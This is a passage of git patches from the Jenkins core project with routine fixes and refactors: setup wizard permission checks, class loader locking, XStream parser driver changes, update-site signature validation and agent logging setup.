diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index 6af23d6dff..0cf0735e5d 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -18,10 +18,12 @@ import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; +import javax.servlet.http.HttpServletResponse; import org.acegisecurity.Authentication; import org.acegisecurity.context.SecurityContextHolder; import org.acegisecurity.providers.UsernamePasswordAuthenticationToken; +import org.acegisecurity.userdetails.UsernameNotFoundException; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.HttpResponse; @@ -155,7 +157,9 @@ public class SetupWizard extends PageDecorator { try { PluginServletFilter.addFilter(FORCE_SETUP_WIZARD_FILTER); - isUsingSecurityToken = true; + // if we're not using security defaults, we should not show the security token screen + // users will likely be sent to a login screen instead + isUsingSecurityToken = isUsingSecurityDefaults(); } catch (ServletException e) { throw new RuntimeException("Unable to add PluginServletFilter for the SetupWizard", e); } @@ -174,15 +178,41 @@ public class SetupWizard extends PageDecorator { */ public boolean isUsingSecurityToken() { try { - return isUsingSecurityToken // only ever show this if using the security token + return isUsingSecurityToken // only ever show the unlock page if using the security token && !Jenkins.getInstance().getInstallState().isSetupComplete() - && getInitialAdminPasswordFile().exists(); + && isUsingSecurityDefaults(); } catch (Exception e) { // ignore } return false; } - + + /** + * Determines if the security settings seem to match the defaults. Here, we only + * really care about and test for HudsonPrivateSecurityRealm and the user setup. + * Other settings are irrelevant. + */ + /*package*/ boolean isUsingSecurityDefaults() { + Jenkins j = Jenkins.getInstance(); + if (j.getSecurityRealm() instanceof HudsonPrivateSecurityRealm) { + HudsonPrivateSecurityRealm securityRealm = (HudsonPrivateSecurityRealm)j.getSecurityRealm(); + try { + if(securityRealm.getAllUsers().size() == 1) { + HudsonPrivateSecurityRealm.Details details = securityRealm.loadUserByUsername(SetupWizard.initialSetupAdminUserName); + FilePath iapf = getInitialAdminPasswordFile(); + if (iapf.exists()) { + if (details.isPasswordCorrect(iapf.readToString().trim())) { + return true; + } + } + } + } catch(UsernameNotFoundException | IOException | InterruptedException e) { + return false; // Not initial security setup if no transitional admin user / password found + } + } + return false; + } + /** * Called during the initial setup to create an admin user */ @@ -456,6 +486,7 @@ public class SetupWizard extends PageDecorator { if (request instanceof HttpServletRequest) { HttpServletRequest req = (HttpServletRequest)request; if((req.getContextPath() + "/").equals(req.getRequestURI())) { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); chain.doFilter(new HttpServletRequestWrapper(req) { public String getRequestURI() { return getContextPath() + "/setupWizard/"; diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly index d2c5ea7263..02a02dc408 100644 --- a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token.jelly @@ -3,6 +3,7 @@

+
+

What's new in 2.25 (2016/10/09)

+
    +
  • +

What's new in 2.24 (2016/10/02)

  • -- GitLab From 59cec4565768fc47db1efe6a01f9960e19b919fc Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 10 Oct 2016 07:30:08 +0200 Subject: [PATCH 187/712] Noting #2570, #2572, #2579 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a0c7ef5fa0..390f05d082 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,15 @@ Upcoming changes

What's new in 2.25 (2016/10/09)

    -
  • +
  • + Display transient actions for labels. + (issue 38651) +
  • + Add user to restart log message for restart after plugin installation. + (issue 38615) +
  • + Internal: Code modernization: Use try-with-resources a lot more + (pull 2570)

What's new in 2.24 (2016/10/02)

    -- GitLab From a04e2f9836263f7ae5e68617f5bafde18e594446 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 10 Oct 2016 02:10:58 -0400 Subject: [PATCH 188/712] [JENKINS-23784] Avoid acquiring ClassLoader locks. (#2581) --- .../main/java/hudson/util/MaskingClassLoader.java | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/util/MaskingClassLoader.java b/core/src/main/java/hudson/util/MaskingClassLoader.java index c51e1f187b..47563439d4 100644 --- a/core/src/main/java/hudson/util/MaskingClassLoader.java +++ b/core/src/main/java/hudson/util/MaskingClassLoader.java @@ -25,12 +25,12 @@ package hudson.util; import java.io.IOException; import java.net.URL; -import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; import java.util.Enumeration; import java.util.Collections; +import java.util.concurrent.CopyOnWriteArrayList; /** * {@link ClassLoader} that masks a specified set of classes @@ -45,9 +45,9 @@ public class MaskingClassLoader extends ClassLoader { /** * Prefix of the packages that should be hidden. */ - private final List masksClasses = new ArrayList(); + private final List masksClasses = new CopyOnWriteArrayList<>(); - private final List masksResources = new ArrayList(); + private final List masksResources = new CopyOnWriteArrayList<>(); public MaskingClassLoader(ClassLoader parent, String... masks) { this(parent, Arrays.asList(masks)); @@ -66,7 +66,7 @@ public class MaskingClassLoader extends ClassLoader { } @Override - protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { for (String mask : masksClasses) { if(name.startsWith(mask)) throw new ClassNotFoundException(); @@ -76,7 +76,7 @@ public class MaskingClassLoader extends ClassLoader { } @Override - public synchronized URL getResource(String name) { + public URL getResource(String name) { if (isMasked(name)) return null; return super.getResource(name); @@ -89,7 +89,7 @@ public class MaskingClassLoader extends ClassLoader { return super.getResources(name); } - public synchronized void add(String prefix) { + public void add(String prefix) { masksClasses.add(prefix); if(prefix !=null){ masksResources.add(prefix.replace(".","/")); -- GitLab From 8888296e68289af914921c9965bdb97f6943b9cf Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Mon, 10 Oct 2016 08:12:02 +0200 Subject: [PATCH 189/712] Update XStream drive to improve performance in xml serilization/deserialization (#2561) * Update XStream drive to improve performance in xml serilization/deserialization According XStream FAQ (http://x-stream.github.io/faq.html#Scalability): XStream is a generalizing library, it inspects and handles your types on the fly. Therefore it will normally be slower than a piece of optimized Java code generated out of a schema. However, it is possible to increase the performance anyway: * Write custom converters for those of your types that occur very often in your XML. * Keep a configured XStream instance for multiple usage. Creation and initialization is quite expensive compared to the overhead of XStream when calling marshall or unmarshal. * Use Xpp3 or StAX parsers. So, I decided to move from old Xpp to new Xpp3. * Change other occurance of XppDriver to Xpp3Driver as well --- core/src/main/java/hudson/XmlFile.java | 4 ++-- core/src/main/java/hudson/model/View.java | 4 ++-- .../src/main/java/jenkins/util/xstream/XStreamDOM.java | 10 +++++----- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/hudson/XmlFile.java b/core/src/main/java/hudson/XmlFile.java index 0e7f4ee96a..933621b74b 100644 --- a/core/src/main/java/hudson/XmlFile.java +++ b/core/src/main/java/hudson/XmlFile.java @@ -28,7 +28,7 @@ import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.StreamException; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.diagnosis.OldDataMonitor; import hudson.model.Descriptor; import hudson.util.AtomicFileWriter; @@ -292,7 +292,7 @@ public final class XmlFile { private static final SAXParserFactory JAXP = SAXParserFactory.newInstance(); - private static final XppDriver DEFAULT_DRIVER = new XppDriver(); + private static final Xpp3Driver DEFAULT_DRIVER = new Xpp3Driver(); static { JAXP.setNamespaceAware(true); diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index cffb079036..41807209f9 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -26,7 +26,7 @@ package hudson.model; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.io.StreamException; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.DescriptorExtensionList; import hudson.Extension; import hudson.ExtensionPoint; @@ -1166,7 +1166,7 @@ public abstract class View extends AbstractModelObject implements AccessControll // Do not allow overwriting view name as it might collide with another // view in same ViewGroup and might not satisfy Jenkins.checkGoodName. String oldname = name; - Jenkins.XSTREAM.unmarshal(new XppDriver().createReader(in), this); + Jenkins.XSTREAM.unmarshal(new Xpp3Driver().createReader(in), this); name = oldname; } catch (StreamException | ConversionException | Error e) {// mostly reflection errors throw new IOException("Unable to read",e); diff --git a/core/src/main/java/jenkins/util/xstream/XStreamDOM.java b/core/src/main/java/jenkins/util/xstream/XStreamDOM.java index 4fa5e4d04c..41603b5179 100644 --- a/core/src/main/java/jenkins/util/xstream/XStreamDOM.java +++ b/core/src/main/java/jenkins/util/xstream/XStreamDOM.java @@ -35,7 +35,7 @@ import com.thoughtworks.xstream.io.xml.AbstractXmlReader; import com.thoughtworks.xstream.io.xml.AbstractXmlWriter; import com.thoughtworks.xstream.io.xml.DocumentReader; import com.thoughtworks.xstream.io.xml.XmlFriendlyReplacer; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.Util; import hudson.util.VariableResolver; @@ -241,11 +241,11 @@ public class XStreamDOM { * Writes this {@link XStreamDOM} into {@link OutputStream}. */ public void writeTo(OutputStream os) { - writeTo(new XppDriver().createWriter(os)); + writeTo(new Xpp3Driver().createWriter(os)); } public void writeTo(Writer w) { - writeTo(new XppDriver().createWriter(w)); + writeTo(new Xpp3Driver().createWriter(w)); } public void writeTo(HierarchicalStreamWriter w) { @@ -262,11 +262,11 @@ public class XStreamDOM { } public static XStreamDOM from(InputStream in) { - return from(new XppDriver().createReader(in)); + return from(new Xpp3Driver().createReader(in)); } public static XStreamDOM from(Reader in) { - return from(new XppDriver().createReader(in)); + return from(new Xpp3Driver().createReader(in)); } public static XStreamDOM from(HierarchicalStreamReader in) { -- GitLab From 67df10db2d4e0620ba4e7fde399c4340d39604b6 Mon Sep 17 00:00:00 2001 From: gusreiber Date: Sun, 9 Oct 2016 23:19:37 -0700 Subject: [PATCH 190/712] [JENKINS-35263] displaying codeMirror as table to fix page sizing (#2575) --- core/src/main/resources/lib/form/textarea/textarea.css | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 core/src/main/resources/lib/form/textarea/textarea.css diff --git a/core/src/main/resources/lib/form/textarea/textarea.css b/core/src/main/resources/lib/form/textarea/textarea.css new file mode 100644 index 0000000000..71300ae0e3 --- /dev/null +++ b/core/src/main/resources/lib/form/textarea/textarea.css @@ -0,0 +1,5 @@ +td.setting-main .CodeMirror { + display: table; + table-layout: fixed; + width: 100%; +} \ No newline at end of file -- GitLab From 0e8786b70835467dff92c8bde35e93d0c3ac94a7 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Fri, 2 Sep 2016 16:10:06 -0700 Subject: [PATCH 191/712] [FIXED JENKINS-34250] Use the appropriate 'Gear' icon on the Plugin Manager page This has annoyed me for long enough (cherry picked from commit 4fbfe25797079ead5fee2c42145cb4e75365c865) --- core/src/main/resources/hudson/PluginManager/sidepanel.groovy | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/PluginManager/sidepanel.groovy b/core/src/main/resources/hudson/PluginManager/sidepanel.groovy index 98aeab3470..d129bd53c7 100644 --- a/core/src/main/resources/hudson/PluginManager/sidepanel.groovy +++ b/core/src/main/resources/hudson/PluginManager/sidepanel.groovy @@ -28,7 +28,7 @@ l.header() l.side_panel { l.tasks { l.task(icon:"icon-up icon-md", href:rootURL+'/', title:_("Back to Dashboard")) - l.task(icon:"icon-setting icon-md", href:"${rootURL}/manage", title:_("Manage Jenkins"), permission:app.ADMINISTER, it:app) + l.task(icon:"icon-gear2 icon-md", href:"${rootURL}/manage", title:_("Manage Jenkins"), permission:app.ADMINISTER, it:app) if (!app.updateCenter.jobs.isEmpty()) { l.task(icon:"icon-plugin icon-md", href:"${rootURL}/updateCenter/", title:_("Update Center")) } -- GitLab From fa2d1823c054ae3e19b180b4a39780aff0054762 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 9 Sep 2016 16:33:23 +0300 Subject: [PATCH 192/712] [FIXED JENKINS-37997] FIX NPE when descriptor is not in DescriptorList (#2536) For example when Descriptor was defined as field and without @Extension . Signed-off-by: Kanstantsin Shautsou (cherry picked from commit 5d3b23daf7e52c511fd594665ef8d648bb7bb121) --- core/src/main/java/hudson/model/Descriptor.java | 8 +++++++- core/src/main/java/jenkins/model/Jenkins.java | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 8337195690..66a2ff90e7 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -638,7 +638,13 @@ public abstract class Descriptor> implements Saveable { if (isApplicable(actualType, json)) { LOGGER.log(Level.FINE, "switching to newInstance {0} {1}", new Object[] {actualType.getName(), json}); try { - return Jenkins.getActiveInstance().getDescriptor(actualType).newInstance(Stapler.getCurrentRequest(), json); + final Descriptor descriptor = Jenkins.getActiveInstance().getDescriptor(actualType); + if (descriptor != null) { + return descriptor.newInstance(Stapler.getCurrentRequest(), json); + } else { + LOGGER.log(Level.WARNING, "Descriptor not found. Falling back to default instantiation " + + actualType.getName() + " " + json); + } } catch (Exception x) { LOGGER.log(Level.WARNING, "falling back to default instantiation " + actualType.getName() + " " + json, x); // If nested objects are not using newInstance, bindJSON will wind up throwing the same exception anyway, diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 83e3184894..f165e1149f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1402,6 +1402,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * If you have an instance of {@code type} and call {@link Describable#getDescriptor()}, * you'll get the same instance that this method returns. */ + @CheckForNull public Descriptor getDescriptor(Class type) { for( Descriptor d : getExtensionList(Descriptor.class) ) if(d.clazz==type) -- GitLab From 79a5e3e45bc2d3fc398e7d2effd06cd74df27461 Mon Sep 17 00:00:00 2001 From: valentina Date: Tue, 23 Aug 2016 12:55:38 +0200 Subject: [PATCH 193/712] [FIXED JENKINS-36537] Allow the use of custom json signature validator for metadata signature check (#2442) (cherry picked from commit 8acc12ff7933774dd92c37d3ca5ac1c77f217b39) --- .../java/hudson/model/DownloadService.java | 13 ++++- .../main/java/hudson/model/UpdateSite.java | 47 ++++++++++++++++++- 2 files changed, 57 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/DownloadService.java b/core/src/main/java/hudson/model/DownloadService.java index 69e8dcbf9e..52da67e9d3 100644 --- a/core/src/main/java/hudson/model/DownloadService.java +++ b/core/src/main/java/hudson/model/DownloadService.java @@ -70,6 +70,11 @@ import org.kohsuke.stapler.StaplerResponse; */ @Extension public class DownloadService extends PageDecorator { + + /** + * the prefix for the signature validator name + */ + private static final String signatureValidatorPrefix = "downloadable"; /** * Builds up an HTML fragment that starts all the download jobs. */ @@ -397,7 +402,11 @@ public class DownloadService extends PageDecorator { public FormValidation updateNow() throws IOException { List jsonList = new ArrayList<>(); boolean toolInstallerMetadataExists = false; - for (String site : getUrls()) { + for (UpdateSite updatesite : Jenkins.getActiveInstance().getUpdateCenter().getSiteList()) { + String site = updatesite.getMetadataUrlForDownloadable(url); + if (site == null) { + return FormValidation.warning("The update site " + site + " does not look like an update center"); + } String jsonString; try { jsonString = loadJSONHTML(new URL(site + ".html?id=" + URLEncoder.encode(getId(), "UTF-8") + "&version=" + URLEncoder.encode(Jenkins.VERSION, "UTF-8"))); @@ -408,7 +417,7 @@ public class DownloadService extends PageDecorator { } JSONObject o = JSONObject.fromObject(jsonString); if (signatureCheck) { - FormValidation e = new JSONSignatureValidator("downloadable '"+id+"'").verifySignature(o); + FormValidation e = updatesite.getJsonSignatureValidator(signatureValidatorPrefix +" '"+id+"'").verifySignature(o); if (e.kind!= Kind.OK) { LOGGER.log(Level.WARNING, "signature check failed for " + site, e ); continue; diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index f5b5e4beb7..67aad03fb4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -130,6 +130,10 @@ public class UpdateSite { */ private final String url; + /** + * the prefix for the signature validator name + */ + private static final String signatureValidatorPrefix = "update site"; public UpdateSite(String id, String url) { @@ -242,10 +246,29 @@ public class UpdateSite { /** * Let sub-classes of UpdateSite provide their own signature validator. * @return the signature validator. + * @deprecated use {@link #getJsonSignatureValidator(@CheckForNull String)} instead. */ + @Deprecated @Nonnull protected JSONSignatureValidator getJsonSignatureValidator() { - return new JSONSignatureValidator("update site '"+id+"'"); + return getJsonSignatureValidator(null); + } + + /** + * Let sub-classes of UpdateSite provide their own signature validator. + * @param name, the name for the JSON signature Validator object. + * if name is null, then the default name will be used, + * which is "update site" followed by the update site id + * @return the signature validator. + * @since 2.15 + */ + @Nonnull + @Restricted(NoExternalUse.class) + protected JSONSignatureValidator getJsonSignatureValidator(@CheckForNull String name) { + if (name == null) { + name = signatureValidatorPrefix + " '" + id + "'"; + } + return new JSONSignatureValidator(name); } /** @@ -422,6 +445,28 @@ public class UpdateSite { return url; } + + /** + * URL which exposes the metadata location in a specific update site. + * @param downloadable, the downloadable id of a specific metatadata json (e.g. hudson.tasks.Maven.MavenInstaller.json) + * @return the location + * @since 2.15 + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public String getMetadataUrlForDownloadable(String downloadable) { + String siteUrl = getUrl(); + String updateSiteMetadataUrl = null; + int baseUrlEnd = siteUrl.indexOf("update-center.json"); + if (baseUrlEnd != -1) { + String siteBaseUrl = siteUrl.substring(0, baseUrlEnd); + updateSiteMetadataUrl = siteBaseUrl + "updates/" + downloadable; + } else { + LOGGER.log(Level.WARNING, "Url {0} does not look like an update center:", siteUrl); + } + return updateSiteMetadataUrl; + } + /** * Where to actually download the update center? * -- GitLab From 56b58bd1df98cf34d6e7c9070123bc29497083c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Mon, 10 Oct 2016 09:56:11 +0200 Subject: [PATCH 194/712] No need for @since on restricted API --- core/src/main/java/hudson/model/UpdateSite.java | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 67aad03fb4..53892cc2cc 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -260,7 +260,6 @@ public class UpdateSite { * if name is null, then the default name will be used, * which is "update site" followed by the update site id * @return the signature validator. - * @since 2.15 */ @Nonnull @Restricted(NoExternalUse.class) -- GitLab From fd0ccd2a2c1d3530e22a0edae3b0fa92f20f841c Mon Sep 17 00:00:00 2001 From: Matthew Reiter Date: Sun, 18 Sep 2016 00:52:23 -0400 Subject: [PATCH 195/712] [FIXED JENKINS-31487] (#2542) There were two issues preventing the build history from updating properly: 1) The next build number being fetched wasn't taking into account running builds, so any builds already running when the page is refreshed would be ignored. The fix was to use nextBuildNumberToFetch if it is available (which is the case if there are running builds) and to fall back to the next build otherwise. 2) The first transient build key (used to clear out builds from the history that are being updated) wasn't being set when the page first loads. This was fixed by making getHistoryPageFilter calculate the value so that it happens in all cases rather than just during the ajax call. (cherry picked from commit 0268b988d5c88cd29be12ed25e95d5bc448c2840) --- .../java/hudson/widgets/BuildHistoryWidget.java | 2 +- .../main/java/hudson/widgets/HistoryWidget.java | 17 +++++++++++++++-- .../hudson/widgets/HistoryWidget/index.jelly | 2 +- 3 files changed, 17 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java index c93d66b435..efd81da9d1 100644 --- a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java +++ b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java @@ -77,6 +77,6 @@ public class BuildHistoryWidget extends HistoryWidget { historyPageFilter.add(baseList, getQueuedItems()); historyPageFilter.widget = this; - return historyPageFilter; + return updateFirstTransientBuildKey(historyPageFilter); } } diff --git a/core/src/main/java/hudson/widgets/HistoryWidget.java b/core/src/main/java/hudson/widgets/HistoryWidget.java index 4a502b29b0..e82e78ad75 100644 --- a/core/src/main/java/hudson/widgets/HistoryWidget.java +++ b/core/src/main/java/hudson/widgets/HistoryWidget.java @@ -114,6 +114,20 @@ public class HistoryWidget extends Widget { return firstTransientBuildKey; } + /** + * Calculates the first transient build record. Everything >= this will be discarded when AJAX call is made. + * + * @param historyPageFilter + * The history page filter containing the list of builds. + * @return + * The history page filter that was passed in. + */ + @SuppressWarnings("unchecked") + protected HistoryPageFilter updateFirstTransientBuildKey(HistoryPageFilter historyPageFilter) { + updateFirstTransientBuildKey(historyPageFilter.runs); + return historyPageFilter; + } + private Iterable> updateFirstTransientBuildKey(Iterable> source) { String key=null; for (HistoryPageEntry t : source) { @@ -166,7 +180,7 @@ public class HistoryWidget extends Widget { historyPageFilter.add(baseList); historyPageFilter.widget = this; - return historyPageFilter; + return updateFirstTransientBuildKey(historyPageFilter); } protected HistoryPageFilter newPageFilter() { @@ -238,7 +252,6 @@ public class HistoryWidget extends Widget { } HistoryPageFilter page = getHistoryPageFilter(); - updateFirstTransientBuildKey(page.runs); req.getView(page,"ajaxBuildHistory.jelly").forward(req,rsp); } diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly b/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly index fbb461b9ce..b4ffcd3885 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly @@ -119,6 +119,6 @@ THE SOFTWARE. -- GitLab From fee595bca8eaa284a377c97dd1f440103a76927d Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Wed, 21 Sep 2016 10:39:52 +0200 Subject: [PATCH 196/712] [JENKINS-35184] Servlet API dependent bits in a inner-class (#2551) * [JENKINS-35184] Servlet API dependent bits in a inner-class This is in order to avoid loading ServletContextListener class from slaves classloader. * [JENKINS-35184] Don't use SystemProperties while initializing remote agents This rolls back the previous commit and introduces a new way to construct RingBufferLogHandler which avoids relying on SystemProperties to get the default size. * [JENKINS-35184] Mark SystemProperties as OnMaster only class Adding `OnMaster` annotation does not prevent the class from being loaded on remote agent but it gives a hint that this class should not be used on a remote agent. * [JENKINS-35184] Set SLAVE_LOG_HANDLER at the very beginning In the previous code cleaning existing log handlers, SLAVE_LOG_HANDLER is always null, as static fields are scoped by classloader. (cherry picked from commit 27d9b73ef4434de0000007c35352dfe48a08c751) --- core/src/main/java/hudson/WebAppMain.java | 6 +++++- .../main/java/hudson/slaves/SlaveComputer.java | 16 ++++++++++++++-- .../java/hudson/util/RingBufferLogHandler.java | 8 ++++++-- .../main/java/jenkins/util/SystemProperties.java | 6 ++++-- 4 files changed, 29 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index de518fcb72..b4a956513f 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -77,7 +77,11 @@ import static java.util.logging.Level.*; * @author Kohsuke Kawaguchi */ public class WebAppMain implements ServletContextListener { - private final RingBufferLogHandler handler = new RingBufferLogHandler() { + + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + + private final RingBufferLogHandler handler = new RingBufferLogHandler(DEFAULT_RING_BUFFER_SIZE) { @Override public synchronized void publish(LogRecord record) { if (record.getLevel().intValue() >= Level.INFO.intValue()) { super.publish(record); diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 50e071ef98..66e57ba76e 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -56,6 +56,7 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.EncryptedSlaveAgentJnlpFile; import jenkins.slaves.JnlpSlaveAgentProtocol; import jenkins.slaves.systemInfo.SlaveSystemInfo; +import jenkins.util.SystemProperties; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; import org.kohsuke.stapler.HttpRedirect; @@ -541,7 +542,7 @@ public class SlaveComputer extends Computer { // it'll have a catastrophic impact on the communication. channel.pinClassLoader(getClass().getClassLoader()); - channel.call(new SlaveInitializer()); + channel.call(new SlaveInitializer(DEFAULT_RING_BUFFER_SIZE)); SecurityContext old = ACL.impersonate(ACL.SYSTEM); try { for (ComputerListener cl : ComputerListener.all()) { @@ -804,11 +805,19 @@ public class SlaveComputer extends Computer { /** * This field is used on each agent to record logs on the agent. */ - static final RingBufferLogHandler SLAVE_LOG_HANDLER = new RingBufferLogHandler(); + static RingBufferLogHandler SLAVE_LOG_HANDLER; } private static class SlaveInitializer extends MasterToSlaveCallable { + final int ringBufferSize; + + public SlaveInitializer(int ringBufferSize) { + this.ringBufferSize = ringBufferSize; + } + public Void call() { + SLAVE_LOG_HANDLER = new RingBufferLogHandler(ringBufferSize); + // avoid double installation of the handler. JNLP slaves can reconnect to the master multiple times // and each connection gets a different RemoteClassLoader, so we need to evict them by class name, // not by their identity. @@ -867,5 +876,8 @@ public class SlaveComputer extends Computer { } } + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final Logger LOGGER = Logger.getLogger(SlaveComputer.class.getName()); } diff --git a/core/src/main/java/hudson/util/RingBufferLogHandler.java b/core/src/main/java/hudson/util/RingBufferLogHandler.java index dc51e2c694..89d0b124d7 100644 --- a/core/src/main/java/hudson/util/RingBufferLogHandler.java +++ b/core/src/main/java/hudson/util/RingBufferLogHandler.java @@ -23,7 +23,6 @@ */ package hudson.util; -import jenkins.util.SystemProperties; import java.util.AbstractList; import java.util.List; import java.util.logging.Handler; @@ -36,12 +35,17 @@ import java.util.logging.LogRecord; */ public class RingBufferLogHandler extends Handler { - private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + private static final int DEFAULT_RING_BUFFER_SIZE = Integer.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); private int start = 0; private final LogRecord[] records; private volatile int size = 0; + /** + * This constructor is deprecated. It can't access system properties with {@link jenkins.util.SystemProperties} + * as it's not legal to use it on remoting agents. + */ + @Deprecated public RingBufferLogHandler() { this(DEFAULT_RING_BUFFER_SIZE); } diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 794e956b1a..cadda5250b 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -32,6 +32,8 @@ import java.util.logging.Logger; import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; + +import jenkins.util.io.OnMaster; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -65,7 +67,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; */ //TODO: Define a correct design of this engine later. Should be accessible in libs (remoting, stapler) and Jenkins modules too @Restricted(NoExternalUse.class) -public class SystemProperties implements ServletContextListener { +public class SystemProperties implements ServletContextListener, OnMaster { // this class implements ServletContextListener and is declared in WEB-INF/web.xml /** @@ -88,7 +90,7 @@ public class SystemProperties implements ServletContextListener { * Called by the servlet container to initialize the {@link ServletContext}. */ @Override - @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", + @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", justification = "Currently Jenkins instance may have one ond only one context") public void contextInitialized(ServletContextEvent event) { theContext = event.getServletContext(); -- GitLab From 23a4d706f319b0d90767ca6041f1976b6662241e Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Tue, 27 Sep 2016 12:55:30 +0100 Subject: [PATCH 197/712] [FIXED JENKINS-38534] Isolate the code that requires the `Jenkins` class to be loaded from an agent code path (cherry picked from commit 0859573721a5f1c0c225d46c898e23e683ec3550) --- .../java/hudson/util/ProcessKillingVeto.java | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessKillingVeto.java b/core/src/main/java/hudson/util/ProcessKillingVeto.java index 3ae76c375d..92e5ab98f0 100644 --- a/core/src/main/java/hudson/util/ProcessKillingVeto.java +++ b/core/src/main/java/hudson/util/ProcessKillingVeto.java @@ -23,6 +23,7 @@ */ package hudson.util; +import hudson.ExtensionList; import hudson.ExtensionPoint; import 